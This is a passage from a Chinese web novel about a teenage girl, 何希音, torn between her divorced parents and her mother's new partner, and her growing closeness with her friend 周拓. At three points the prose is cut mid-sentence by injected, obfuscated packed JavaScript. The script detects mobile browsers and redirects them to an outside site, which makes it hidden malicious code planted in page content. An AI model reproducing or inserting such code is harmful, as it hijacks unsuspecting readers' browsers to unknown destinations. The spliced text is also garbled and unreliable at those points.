“嘿嘿。被发现了。”她舔唇。 “饮料确实不能多喝。你还在长身体呢。这个糖分太高了,小心长不高。”适当教育两句,牧辽起身去拿,“妈妈是为你好。重复的话我不多说了。我知道你平时喝得少,在这破例给你倒一杯吧。” 趁着他起身离开的空档,何希音把白饭扒到他碗里。 牧辽拿来两个杯子,两个很小的杯子,他拧开一罐可乐,往两人的杯子里倒,杯子很小,还只倒一半。 他说:“尝个味道解解馋得了。” 何希音咕噜噜喝完,抽纸擦嘴:“我吃饱了!” “这么快?!”牧辽震惊,“那么大一碗。你别吃这么快,不好消化。” 何希音摇头:“不会。” 眼睛滴溜溜直转,心里的小算盘滴答作响,想着要找什么理由走。两人很久没见,她刚来就走,爸爸会伤心的吧。这是夏叔叔第一次来家里,还提着那么多东西要熬汤给她吃,她不去,夏叔叔和妈妈也会失落吧。 手心手背都是肉。 她的手掌翻过来,翻过去,一颗心分成两半,谁也不想偏袒,也不想让谁难过。 牧辽感到不对劲:“你的眉毛都快拧成一团了。什么事和爸爸说。爸爸给你解决。” 何希音瞎编:“我期中考考不好。” “想让我给你的试卷签名?给你去开家长会?” “家长会倒不用。妈妈会去。” “哪科不好?” 何希音愣住,她没有考不好的。 牧辽吃惊:“每科都不好?” 何希音支支吾吾:“也不是。生物比之前退步了一点点吧。”实在找不到借口了,藏在桌下的手指相互握着,右手拇指摸着左手食指纠结,担心他再继续问,即刻转走话题,“周拓考得好,我想让他教我。” “行。那你去吧。要不要我开车送你?” “不用。不用。”何希音摆手拒绝。 提着礼物,骑上自行车,往家的方向使劲蹬。刚骑出小区,口袋里的电话就响了,一定是妈妈在催。她停在路边,接电话,告诉妈妈会很快回家。她随手拦下一辆的士,把自行车放在后车厢。 在车上,她记起还躲在图书馆的周拓。 发短信告诉他—— 何希音:[拓哥霸气!感谢拓哥!我要回家啦!你也快点回家吧!] 周拓:[收到。] ~ 飞驰的车子在公路上狂奔,两侧树木在窗边疯狂倒退,看得何希音心烦意乱,胡乱吞咽下肚的东西没消化完全,脑袋晕,胃里的东西也在翻涌。 她强行忍住,紧赶慢赶,终于赶在两人觉出异常前回到家。闷在胸口的气还没松出,满桌的美味佳肴和母亲的笑脸,像是往她嘴里又灌了一大勺猪油,胸口更闷了,此刻的饭香不是香,是催命符。 她扯笑:“我、我去洗手。” 夏文斌摘掉围裙:“快去吧。我今天炖了满满一锅花胶鸡汤。你一定会喜欢。” “喜欢。喜……欢……”何希音笑到嘴角抽搐。 关门躲进厕所,洗手,坐在马桶上叹气拖时间。拖到何乐仪在外面问她没事吧,她回答没事。按下冲水键,又洗了两次手,搓得指尖红红的,再开门,一步分作两步走地往餐厅挪移。 夏文斌的眼镜雾蒙蒙的,看样子是在厨房站了很久。 他满心期待地坐在桌边,两只手拽着桌布边缘,肉眼可见的紧张。一直到何希音说了“好喝”和“喜欢”,他紧张的情绪才有所缓解,稍稍展露笑容。 他说:“我不知道你喜欢什么。这些都是妈妈告诉我的。” 桌上摆着—— ‘姜爆鸡、奶芋丸子、菜脯炒蛋’。 若不是坐在家里,看着眼前的菜,她还以为时光倒流穿越时空了。都是她喜欢的菜,她却没有半点胃口,勉强地吃了几口。 每尝一口,她都说“好吃”。 可惜,胃容量实在有限,只好继续瞎编:“我在外面买了章鱼小丸子。” “哎哟。不是跟你说家里有好吃的吗!”何乐仪嘴上埋怨,下一秒就夹走她碗里的东西,“那就别硬吃。小心吃撑。” 何希音补充:“夏叔叔做的超好吃的。” 夏文斌说:“我知道。你很捧场。叔叔谢谢你。你喜欢什么可以告诉我。我下次再做给你吃好吗?” “好呀好呀。”何希音松了口气。 饭菜是吃不下一点了,但汤可以溜溜缝。夏文斌炖汤真是有一手,花胶鸡汤浓稠胶黏,像稀果冻,吸溜进嘴里,顺着食道瞬间滑入胃里,全身都暖烘烘的。她真的很喜欢这汤,可惜胃里胀满了,只能再喝一碗。 吃过饭,收拾好碗筷,夏文斌在家里坐了一会,和她聊前一阵推荐的书。 随着时间流逝,何希音能感觉到那些没消化的食材被鸡汤泡大,在胃里膨胀,不停往上涌。 她太难受了。 坐着难受,站着难受,走路难受,说话也难受。 夏文斌瞬间领会:“时间不早了。我先回去吧。你们早点休息。” 母女俩一前一后地出门送他。小区大门需要刷卡,何乐仪陪他去,何希音没去,说想散散步,绕着小区转圈。 周拓现在才从同学家回来。瞧见她两手背在身后,耷拉着脑袋,叹一口气,迈一步路,像个小老太太。 他走过去,拍她肩膀:“希音。你……” “呕……”何希音转过身,张开嘴,比语言更快涌出来的是她奋力吃下的美食,是不想让大人难过却忽略自己的情绪,一股脑地吐到周拓身上。 6. 薄荷冰糕 胃酸包裹食物,黏糊糊地粘在周拓的蓝校服上。何希音羞臊,涨红脸,尬得头皮发麻,眼泪挂在眼眶,不知道怎么办了。要是会隐身就好了,要是有个地缝让她钻就好了。她恨自己为什么不是只蚂蚁,小到谁也看不见。 她捂着嘴,呆站在那,低头盯着鞋尖。 周拓掏出纸巾,一张给她,一张擦掉衣服上的东西包成一团丢进垃圾桶。 “阿姨今天做了很多好吃的?” “嗯……”她的声音在抖。 周拓又往她手里塞进一张面巾纸:“我以为面对夏叔叔你会很难受,吃得这么香,看来是没事了。” “你果然是个吃货。”他下结论。 “哼!我才……”何希音被狠戳一刀,猛地抬头,却没了声音。阴沉沉的夜晚,天空黑得没有半点星,但他望向她的眼睛像深空的星,静默而热烈地亮着。 周拓笑:“声音这么洪亮。是个精神状态良好的吃货。” 何希音瘪嘴:“对不起。” 周拓摇头:“你没事就好。” 他的声音忽然变得很轻,很轻,比羽毛还轻,刚说出口就被风带走,萦绕在何希音耳边,重复了一遍又一遍。 周拓会魔法吧。 明明他的声音那么轻,却能每一句都说进她心里。 “刚才的事……” “我知道。要保密。”周拓的食指压在唇上。两手按在她肩膀捏了捏,“快回家吧。妈妈会担心的。” “何希音。” “嗯?” “下次你要多考虑自己。” “嗯。” 他真的会魔法吧。 她什么都没说,但他什么都知道。 — 又一个周末。 这个周末,何希音已答应要跟牧辽去科技馆,但何乐仪提出了新邀约,香港的爱乐乐团要来夏宜市巡演,夏文斌买到演出票,请她们去。 “呃……”演出票很贵,不去太浪费钱了,随意鸽掉牧辽也不行,她左右为难,几欲开口,都找不到合适的理由。 何乐仪问:“你有事吗?” 何希音说:“演出是几点?” 在她印象里,这种音乐会都是在晚上,她和牧辽约的是下午,科技馆到音乐厅打车只要二十分钟,完全来得及。 何乐仪说:“晚八点。我们七点去吃饭。八点去听音乐会。音乐会大概一个半小时。” 何希音小声:“我和周拓约了下午要去科技馆。我下午去科技馆,晚上去音乐会行不行?” “可以呀。”何乐仪报餐厅名,“我们在餐厅等你。” 何希音应:“好呀。那我去找周拓啦!” 何希音挎上包,冲出家门,直奔周家,啪啪地拍门。周拓前一天很晚睡,中午吃完饭,又钻进被窝补交,听到拍门声,揉着惺忪睡眼开门。 “拓哥霸气!拓哥帮帮我吧!”何希音两句话堵死他拒绝的机会。 周拓本来也没想拒绝,瞧她如此着急,眼中增添几分玩味,两手环胸地靠在门边:“何事?” “我跟妈妈说要和你去科技馆。” “实际呢?”周拓挑眉。 何希音小声:“我要和爸爸去。” 周拓叹气:“为什么不和他们说实话呢?” “我不知道。”何希音两手手指拧到一起,“拒绝夏叔叔,妈妈会不开心。我选夏叔叔,那不是背叛爸爸了!所以……我谁都不说。” “等我。我换衣服。”周拓回房间。 何希音站在门口,踮着脚,一会踮,一会落,两手绕着衣角拧了又拧。两头瞒对她同样是折磨,她也只能走一步看一步。 房间内叮叮当当的,一会关柜门,一会东西掉地的,声音杂乱。 她说:“我不着急的。” 周拓换好运动服:“走吧。” 两人经过家门时,何乐仪在阳台晾衣服,朝两人招手:“路上小心。早点回来啊!” 周拓挥手:“何阿姨放心吧!” 走出小区,何希音往左走去公交站,周拓却转身向右。 何希音愣住:“你去哪?去科技馆的公交在这头。” 周拓也愣住:“我不是陪你出小区和阿姨交个差就好了吗?” “你下午有事?” “没有。”他抬手,摸了摸后脖颈,“我去图书馆待会吧。你回来给我短信。” “那走呗。”何希音挽住他手臂,往左扯,“你和我爸也熟。一起去呗。晚上一块吃饭。你还能多帮我吃两口。” 何希音挽着他的手臂,蹦蹦跳跳的,挨得近,发梢扫过他颈侧,周拓耳尖染红,抿紧唇,脸歪向另一侧。他平时就少言寡语,这刻的沉默也不会显得异常。他暗自松了口气,何希音忽然停步,头挨得很近,手在他肩膀比划。 他深呼吸,眼睛乱眨,额角的汗细细密密的。 她到底在干嘛? 不管在干嘛,能不能……能不能不要这么近…… 周拓呼吸灼热,唇角微颤。 “你……” 何希音倏地扬起脸。 她就站在一拳之隔的面前,就这样仰着头看她。 周拓能清楚看到她的一根又一根的胎毛刘海,在风中,像加油站的招手人偶,左摇右摆,能看到她藏在双眼皮的小痣,比针尖更小,只在她眨眼的瞬间才会出现,一会有,一会没有。 真的太近了。 周拓屏住呼吸。 何希音锤他肩膀:“你怎么长这么高了!比我高好多了。” “快走吧。”周拓牵着她在街上飞驰。 他发了疯似的跑。 何希音来不及思考,没时间说话,两条腿拼命倒腾,勉强跟上。 恰好公交停在站台,恰好有空的双排座。 两人坐下,一个侧身看窗外,一个抬手整理乱掉的刘海。 车子开出两站,何希音觉得手心湿湿黏黏的,低头一看,周拓还牵着她。或许是刚才跑得太快,坐了这么久,心跳还无法平息。 她的手指动了动:“周拓。” 周拓后知后觉地松开手。 ~ 车子到站。 牧辽已经等在站点,看到周拓,有些意外,但很快反应过来,笑着迎上前:“周拓也来啦。” 周拓礼貌称呼:“牧叔叔好。” “好久不见。你长高了。” “是。” 简单寒暄后,三人买票进馆。周拓两手插兜地跟着他们身后,可能他平时真的话很少吧,谁也没觉察到他这刻又多沉默。何希音偶尔回头和他说话,他一手插兜,一手摸着后勃颈。 今天的他很不对劲。 至于为什么,他也回答不了。 脖颈一直很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周拓坐在车上,捂着胸口,又摸了摸后勃颈,心跳还是那么快,全身都热,烦躁得发热。车子停在小区门口,他下车没有着急回家,两手插兜地在小区散步,就这么漫无目的地走了一圈又一圈。 蒋素下班回来,问他在干嘛 他说消食。 今天吃的还不足以让他积食,胸膛却像堵满了,闷闷的,弄不清为什么会这样,烦躁一层层堆积。 他一个人在小区走到很晚很晚。 何希音和何乐仪听完音乐会,从外面回来了,他还站在小区中庭。 两人经过他身边。 何希音拍他:“周拓。你在这干嘛呢?” “我……散步。”他说。 何乐仪:“这么晚了?” 周拓含含糊糊:“我要回去了。” 何希音挥手:“周拓晚安。” “晚安何希音。”他回。 看着她上楼,周拓明白他为什么这样了,他就是在等这一句。 他想和她说晚安。 想听她说晚安。 很想。很想。 就今天。 就现在。 7. 薄荷冰糕 小时候何希音最怕亲戚问“你喜欢爸爸还是喜欢妈妈”。 这是选什么都错的选择题。 她很讨厌,谁问,她就和谁发脾气。 谁能想到,小时候的假设题如今却成了实际。 牧辽最近找各种借口带她出去玩,每次出门,她都打着和周拓的幌子瞒过母亲,出门后又提心吊胆,怕牧辽问起母亲的近况。她右眼皮跳个不停,有预感纸包不住火了,怀疑牧辽是不是知道什么了,所以频繁来找她。 她怯怯问:“爸,你最近工作不忙吗?” “我休长假了。” “为!什!么!” “你眼睛瞪那么大干嘛。你要中考了呀。多重要的考试啊。万一这半年有什么需要呢,爸爸调一下工作,陪着你不好吗?” “哦。”何希音稍安心,“能有什么事。正常考呗。” “多的是在大考前心态大崩的人。这是你的第一场大考。你不要有压力,考成什么样,爸爸和妈妈都会支持你的。你的成绩很稳定,周一到周五你在学校好好学,周末爸爸就带你到处放松。” “要不要我和妈妈说一下?”牧辽担心何乐仪会对此有什么意见,“你周末出来,妈妈有说什么吗?” 何希音摇头:“没有。” 其实牧辽多虑了,何乐仪平时抓得严,但这阵子对何希音同样是散养式培育。因为何希音的成绩没什么可忧虑的,也因为电视台刚报道了一个中学生模拟考考不好就跳/楼的新闻,无论学校还是家长现在最关心的就是学生的心理健康。 如今还多了一个夏文斌,何希音收到三倍的关心,要消化的美食也是三份。 周拓不理解:“直说就不用这么麻烦了。” “我怎么说呀。”何希音为难,“夏叔叔专门开车去村里买的生态鸡。这个核桃汤的补脑药方是爸爸找退休老中医拿的。” “拒绝谁都不好。”她抬手,一手左,一手右,像拿着天平,“一碗水要端平。” 周拓表情凝重,但也没说什么。 周拓眉眼和周承安有几分相似,性格更像蒋素。继承了母亲的高智商和认真严肃,但没有周承安那般细腻善于揣测人心。他能敏锐观察到何希音的不开心,却想不通是为什么,哪怕她说得如此清楚,他还是不理解。 他不理解何希音的担忧,自然也不会掩饰自己的情绪。他对三个大人的不满挂在脸上,体现在冷漠的眼神和敷衍的对话中。 何乐仪与他接触最多,所以最先发现。 她打招呼:“周拓回来了。” “阿姨好。”周拓没停步,继续往家走。 何乐仪以为他是在和父母闹矛盾,脸色才会如此难看。她想做个中间人调解,先以女儿为话题展开:“你和希音熟,最近她学习压力大吗?她私下有没有和你抱怨过什么呀?” 周拓停下,眼中有不解也有吃惊。在他看来,何希音像颗随时会爆-炸的气球,周末要吃两次晚餐,要哄两拨人开心,她强颜欢笑,她苦不堪言。她都这样了,何乐仪还要来问他吗? 碍于何希音的叮嘱,他什么都没说。 这个问题一出,打消他所有纠结。 他直白的:“她不好。很不好。” 何乐仪震惊:“什么意思?” “上周末,牧叔叔带她去农家乐钓鱼,在那吃过烤鱼大餐。她坐车回来,又喝了夏叔叔炖的鸡汤。撑得肚子疼。” “啊?这……她怎么没说……”何乐仪更诧异。 周拓说:“她不想你们失落。” “何阿姨。”他的眼神前所未有的认真,“我开始讨厌你了。牧叔叔和夏叔叔也是。” 言尽于此,他头也不回地离开。 ~ 傍晚,何希音回家。 夏文斌不在,厨房也关着灯,不用吃两份晚餐着实是让人松了一口气。转身瞧见何乐仪严肃庄重地坐在餐厅,半悬的心又提起来。 何乐仪:“爸爸带你去哪玩了?” 何希音大骇,一股寒意攀上背脊,本能地后退,仔细瞧,何乐仪笑着,也不是责问的语气,含笑的眼眸还带点担忧。 她答:“去水族馆看水母。” “只看了水母?” “是呀。”何希音手臂张开,学水母游动,“爸爸说要像水母一样呼吸,会让人平静。” 何乐仪绷不住笑,脑子浮现出两人在水族箱面前学水母游动的滑稽模样,这么多年过去,牧辽还是那样的不着调。 “吃饭了吗?” “吃啦。”何希音摸鼓胀的肚皮,“去吃了炖菜。超好吃的。” 何乐仪却忽然转了话题:“对不起。” “啊?”何希音懵圈。 何乐仪说:“我知道你不喜欢改变。所以我和文斌不会这么快结婚,等你中考完再说吧。对不起。我这么晚才发现你的不开心。” “我没有不开心呀。”何希音语无伦次,“我……我挺喜欢夏叔叔的。” 何乐仪说:“我知道。你是不是觉得喜欢文斌,会让爸爸难过?” “嗯……”何希音低头。 何乐仪开解:“爸爸永远是你的爸爸。这点谁也无法改变。我和文斌商量过,你不需要改称呼,可以继续叫他夏叔叔或者夏老师。” “音音。” “嗯?” “妈妈永远爱你。爸爸也是。” “我知道。” 何乐仪拍拍她肩膀:“去读书吧。马上要考试了。以后有什么事直接说出来。你想跟谁一起吃晚饭,我们都会很开心。” “好。我知道啦~” — 相似的话,过了些时日,牧辽也来和她说了一遍。 “对不起。” “停!”何希音明白,立刻终止话题,“妈妈和我说过啦。” “不。”牧辽却摇头,“我还有一句必须要说。谢谢你。谢谢我的宝贝女儿时刻想着爸爸。” “我没有处理好这些关系,让你担心了。所以……对不起。” 何希音不再是那个小姑娘,她长高了,牧辽再蹲在她面前时,更像只大金毛,阳光落在他浅褐色发梢,金灿灿的,更像金毛狗了。 她抬手,摸他头顶。他留着蓬松的狼尾,发质又松又软,发梢垂落在肩,眼睛笑着,眼尾却有淡淡的哀愁。 这是一种很奇妙的感觉。 小时候,爸爸是乘起她的高山,是遮风挡雨的屏障。 此刻,却觉得她有义务保护爸爸。 她问:“妈妈要和夏叔叔结婚。你会难过吗?” 牧辽肯定:“不会。我很高兴。为她,也为你。” “文斌我也认识。他比我更适合你妈妈。多一个人来爱你,我同样很开心。”牧辽耸肩,转身去做其他事,“今天想吃什么?爸爸亲自下厨。” 何希音抱着小板凳坐在吧台:“我好像从没听你说过,你是怎么追到妈妈的。” 牧辽笑:“为什么突然问这个?” “好奇呗。”何希音晃腿,“我想听。” 牧辽边切菜边回忆:“我认识她是在校园会上,她是体育系的学姐,我是摄影系新生。男女混合接力,我们两个系分在一组。被他们被套了两圈。” “太丢人了。”牧辽打蛋的手飞速,“太气人了。我和室友发誓要在体测的时候一雪前耻,每天都发奋图强地练习跑步。” “体测那天,你妈负责掐秒表。” “哇!”何希音眼睛闪烁,脑海中勾勒出牧辽在操场上兜着风狂奔,发丝飞扬,一路奔向何乐仪的偶像剧场景,“成绩如何?妈妈记住你了吗?” “成绩……应该还行吧?” “哇!”何希音觉得空气都燃起来了。 牧辽下句却是—— “就是快到终点的时候,我摔倒了,原地滚了三圈,滚到她脚边。” “啊?”何希音怔住,一时间不知道该笑,还是该放声大笑,很显然,这话没人能憋得住,她选择了后者,笑得很放肆,“爸。你也太逊了吧。” “但我是摄影系的第一名啊!”牧辽补充。 何希音说:“那妈妈一定记住你了吧。” 他瘪嘴:“也许吧。那时候,登记成绩的是她的男朋友。” “呃……”何希音尬住,拍拍他肩膀以示安慰,一份迟到很久很久的安慰。 牧辽不屑:“不就是比我早入校两年。否则哪有他的事。” “然后呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239428|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”何希音追问。 “我知道她喜欢户外运动,参加了攀岩社,经常一起去登山。可是她有男朋友啊!”牧辽咬牙,随即又笑开,“不过,他们很快就分手了。” “你表白了吗?” 牧辽继续愤愤不平:“其实……在她分手前,我就表白过,她说她不喜欢小男生。才差两岁而已。我哪里小了。只是上学晚。” “我大二,她马上要毕业了。那年真的紧张死了,再追不上真的没机会了。寒假有个雪山拍摄任务,我问她要不要一起,她答应了。整个团队花了两周吧,登上雪山,完成摄影任务。” “可能是太冷,她冻懵了,忽然说觉得我也挺好的。我们就在一起了。” 何希音想起父母房间原来有一张雪山合影,一行人穿着鲜红的登山服,站在皑皑白雪中,像燃烧的火焰,像盛开的玫瑰,像沸腾的热血。 所有人都穿着厚厚的棉服,包裹着严严实实,分不清谁是谁。但所有人都张开双臂,朝向中间的两个人,不需要看见表情,肢体语言就能感受到喜悦。 现在她明白了。 那是他们在祝福两人。 牧辽环胸:“听够了吧?” 何希音先点头,又摇头。知道的越多,越是不理解。于是,两手手肘撑在桌面,手背托住脑袋,用劲思考,小小的脑袋全是疑惑。 “爸。你和妈妈只是因为生活不同步离婚的吗?” “不止是这样。”若是以前,牧辽会找理由搪塞过去,如今女儿长大了,不那么好糊弄,而且有些事她也应该知道。牧辽关掉火,认真回答,“我们之间的感觉淡了吧。她不再聆听我的工作,我也很少陪她去做她喜欢的事。” “你不爱她了?”何希音点明。 牧辽却摇头:“爱。只是亲情更多。我和她永远是家人。哪怕没有你,她也是我的家人。” “你们聊过这些事吗?” “当然。” “所以……是没办法了是吗?”何希音叹惜。 两个人离婚前,有很长的一段沉默期,没有争吵,也谈不上冷战,同在一个空间,各做各的事。她试着挑起话题,试着缓和气氛,两人的反应很平淡。她很怕这种氛围,所以两人提出离婚,她既痛苦又理解。 离婚后,牧辽搬走,两人再见面的周末,一起带何希音去游乐园,不再紧绷着笑脸,各自轻松不少。 在今天之前,何希音一直认为离婚对两人都是解脱。 现在听到牧辽笑着提起从前,知道他甚至记得初见那天何乐仪穿着蓝色运动服,只穿着双普通的布鞋就跑赢了他。 何希音眼眸低垂,呼出的每个叹息都有千斤重。 她叹:“婚姻真复杂。” 牧辽捏她嘴:“不复杂。是我的问题。” “嗯?” “恋爱初始,我答应她会坚持锻炼,会早睡早起,会每天晨跑。工作后,我的拖延症很严重,不到截稿期就没灵感,修不出满意的片子。熬夜是常事。我黑白颠倒,作息不规律,影响她睡眠。” “我以为我是为了工作,其实我是为了自己。” “我可以更改作息,但我没有,我希望她适应我。” “失约的人是我。”牧辽总结。 “你后悔了吗?”问出口,她才发觉这问题有多蠢。 牧辽没回答。 沉默良久,他说:“做什么事都要全力以赴。” 他捏她侧脸:“听到没有。这是爸爸教你的。只有全力以赴过,哪怕结局如何都不会后悔。” “知道啦。”何希音揉脸,“好疼。” “中考加油!”牧辽盛饭,盖上一个荷包蛋,用番茄酱画上笑脸。 “我会加油哒!” 下午,何希音告别父亲,准备回家。她坐在凳子上系鞋带。 牧辽拿来两个礼物袋:“帮我转交给妈妈。” 何希音探头:“是什么?” “两双登山鞋。” “两双?” “一双送她。一双送夏文斌。” “我失约的事,她一直想做的事,希望有人和她去做。”牧辽犹豫再三,拿出盒子里的贺卡,“你和她说‘祝她新婚快乐’就好。” 8. 青瓜撞奶 中考结束的暑假就像冰柜里的雪糕,吃一根少一根,冰箱柜见底的那刻,宣告她这个没有作业的假期告罄。 这个暑期,何希音收到两个消息,一好一坏。 好消息:她考上一中了,还和周拓同校。 坏消息:她近视了,三百度,需要佩戴眼镜。 报道日,她先去宿舍放行李。来得晚,室友已经收拾完去教室了,她放下行李箱就往教室赶。校道上,许多和她一样,踩着点来的学生,两条腿迈得像螺旋桨,恨不得下一秒就起飞,她低头跟着往教学区赶。 总觉得少了点什么,一摸兜。完球,眼镜落在宿舍,她抬眸,眼前像起了雾,看得见,但看不清。来不及回去拿了,咬牙继续走。走没两步,瞧见一个熟悉的背影,相同的运动服,相同的背包。 她冲过去,勾着那人的手臂:“周拓!你怎么也来这么晚……我没戴眼镜,什么都看不清,气死了,明明出门我还检查了书包。” “何希音?”周拓的声音从前方传来,带着震惊。 何希音愣住,侧脸,发现自己挽着个陌生人。这人和周拓一样,比何希音高出许多,但脸一点不一样,不需要戴眼镜就能分辨,只顾着埋头赶路,竟没多瞧两眼确认。 她猛地抽回手:“对、对不起。” 何希音涨红脸,疯狂奔向周拓,在心里狂喊‘救命’,跑到他面前,提着的心才放下些。 周拓叩她脑门:“你连我都认不得?” 何希音瘪嘴:“我没戴眼镜啊!怎么认得你!”又改口埋怨,“谁让你是大众脸。” 一针扎在要害,一针扎在自尊。周拓眉头拧得更紧,拽住她的手,扯回原地,俯身贴近:“我是大众脸?” 他凑好近,何希音能看清他愠怒的眼眸,能嗅到他身上的柑橘皂角香,淡淡的,干涩的,刺进鼻腔,仔细品,能嗅到微微的酸。 他生气了。 何希音安抚:“好啦。好啦。当然不是大众脸啦。全世界你最帅啦。不!是全宇宙!”她比划,“全银河系!” 周拓又弹她脑门:“这还差不多。” 他两手背在身后地上楼。 何希音捂着额头在后面追:“很疼啊!” 上至二楼,何希音指左边:“我在七班。” 周拓指右边:“八班。” 两人没转身,很默契地面对面,往各自班级倒退。 周拓说:“一会食堂见。” “ok~”何希音两只手指并拢举到前额,敬礼似的,“大帅哥。中午请客哈~” 进班坐下来,前后左右都是健谈的人,聊着聊着把和周拓的约定抛之脑后,中午和室友去食堂,手机在口袋震,何希音掏出来一看,隔着屏幕都能想象出他那张无语的大黑脸。 [周拓]:你在哪? [周拓]:要我请客,你人呢?! [周拓]:我请西北风? 她连忙回—— [何希音]:啊!我忘记了!对不起!我和室友一起走了。你也赶紧来吧。现在食堂人不多。 [周拓]:晕。 [何希音]:对不起嘛~ [周拓]:欠我一餐。 [何希音]:周末补!还是你请噢。大帅哥~ [周拓]:dII dII是周拓发明的文字,他说这是ok的手势。何希音怎么看都不像,但他说是就是吧。类似的暗语,充斥着两个人的聊天记录。 餐厅连接着小卖部。 何希音去买零食,顺手拿了瓶可乐。结账时,遇到刚才认错的那位,那人排在她前面,她低头,盯着脚尖,祈祷不要被认出来。 “学妹?” 声音从前面,从头顶落下。 被认出来了,还没处躲。 她抬头,尬笑:“好、好巧啊。” “这次戴眼镜了?” “戴了。” 她抬了下眼镜。 “你是高二的?” “嗯。”那人指胸牌,“我负责晚点名。” 这次新生报道,每个班都配了个高年级的学生帮着晚自习考勤点名以及分发书籍等事项。 她咽唾沫:“你负责的不会是……七班吧。” “是啊。”他笑,“何希音是吧?” “呃……”她一点不想承认,又不得不认,“是我。” 那人指着自己的胸牌:“乔喻。” “你有想参加社团吗?” “呃……暂时没有吧。”何希音想了会,“学校都有什么社团?学长你是什么社团的呀?” “校乐队的。”他忽然发出邀请,“要来玩吗?” 何希音摇头似拨浪鼓:“我不会乐器。” “会唱歌也行。” “也……也不行。”她推荐,“但我有个朋友会钢琴。” “刚才那个?” “是。” 乔喻同样发出邀请:“你可以告诉他,校乐队开学会纳新,在小礼堂,有兴趣可以过来看看。” “好。我转告他。” 队伍不断往前,排到两人。乔喻归拢收银台面的东西,说:“我一起付了吧。” “不用不用。”何希音转身掏卡,越是着急,学生卡捉迷藏似的,藏在书包角落,许久才摸到边缘,一手掏卡,一手把属于她的东西归拢到面前,“我自己付。” 乔喻刷卡付掉他的那部分。 小卖部员工重新扫商品:“两包薯片一瓶可乐,一共是十块。” 何希音刷卡。 刷卡器却滴滴响,提示:“余额不足。” 员工说:“你是不是没充卡?” 何希音挠头:“发卡的时候说卡里有钱呀。我刚才刷食堂都可以刷呢。” 乔喻解释:“扣掉制卡费,卡里没剩多少。” “那我用现金吧。”何希音摸包,只摸到空空的包底,她的钱包在教室,没带下来。真无语,她以为卡里的钱够用的,明明办卡时交了50呢! 乔喻瞧出她的为难,帮她刷了。 “谢谢。”她道谢,“我一会还你。” 乔喻笑:“没事。不用还。” 两人提着东西往教学区走,乔喻继续往上:“我的班级在楼上。下午你们只是领书,建议你领完就回宿舍收拾,再去食堂,错峰用餐,这样晚自习才不会迟到。” “好的。谢谢学长~” 九月还热着,可教室已经不开空调了,周拓靠在走廊吹风,何希音刚冒头,他就想打招呼,手抬高,瞧见后面还跟着别人,手落下,环胸站在那。仔细打量那人,觉得很眼熟,看了会,才想起是早上何希音认错的那个。 何希音走过来:“周拓。喏。可乐给你。补偿我中午的失约吧~” 她手指楼上:“他是高二的学长。叫乔喻。校乐队的。” “知道的还挺多。”他撇嘴,语气不怎么友善。不是对那人,是对何希音认错感到无语。 “他说开学校乐团要纳新。你去吗?” “没兴趣。” “他和你真的超像。他也是学钢琴的。也是小时候在少年宫学的,你要不要加他聊一聊啊,说不定还是同个老师呢。他身高也是186。和你一样唉。难怪我会认错。噢,还有他也是八班的。高二八班。”何希音滔滔不绝地说着两人的共同点,周拓听着扎耳。 他否认:“我和他不像。” 何希音指着他手里的可乐说:“这个可乐是他买的。” 周拓还给她。 何希音摊手:“又怎么了?大帅哥。” “我只喝百事。”他挥了挥手,转身回班级,背影潇洒。 何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239429|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 希音能他极短的话语里感受到他的不开心,但不明白为什么。她曾经睡过头,鸽了他一上午,他就站在植物园门口一直等她,毫无怨言。他是不会因为忘记一起去食堂这种小事生气的,那是为什么呢? 何希音边想边回班,拿了钱包,跑上楼去还钱。 — 周末,何希音去周拓家写作业。长久以来,都是这样的。以前是父母工作忙,把她寄在周家,现在夏文斌和何乐仪结婚,住进家里,夏文斌的工作朝九晚五,负责做饭,但何希音已经习惯去周家写作业,周拓物理强,她有很多问题要问。 “周拓!我来啦~”何希音叩门。 周拓开门:“中午吃了吗?” “嗯!吃过啦~” “夏叔叔做的?” “不是。他和妈妈去爬山了。我早上和乔喻去电玩城了。在商场吃的。”何希音拿出手机,划开相册,“乔喻也玩乐高!你看他搭的城堡。” 何希音回忆:“我记得这个模型。你还差一个骑士的积木,对吧?” “是。”周拓点头,“我去了几次乐高店都没买到。” “乔喻也说很难买。他在二手市场买的。你也去二手软件上淘看看吧?” “嗯。” 两人聊了会,话题基本围绕着乔喻,何希音不会乐器,也加入校乐队了,因为乔喻说有个学姐在教吉他。她有兴趣就报名去学了。或许是先入为主的观念,何希音真的觉得乔喻和周拓很像,兴趣爱好相似,身型也差不多。唯一的不同就是性格,周拓少言冷淡,而乔喻外向健谈。 何希音说:“乔喻简直就是活泼版的你嘛。” “周拓,你怎么不说话啊?”她戳他后背,他不知道在吧台捣鼓什么呢,一直背身朝她,她又戳,再戳,“周拓?” 周拓打开冰箱:“想喝什么?” 话题忽然被扯开,何希音觉着怪,但撇撇嘴,没深究,摇头婉拒,从背包拿出两瓶可口可乐,一瓶开过的留下,另一瓶没开的给他。 “我中了再来一瓶呢。” 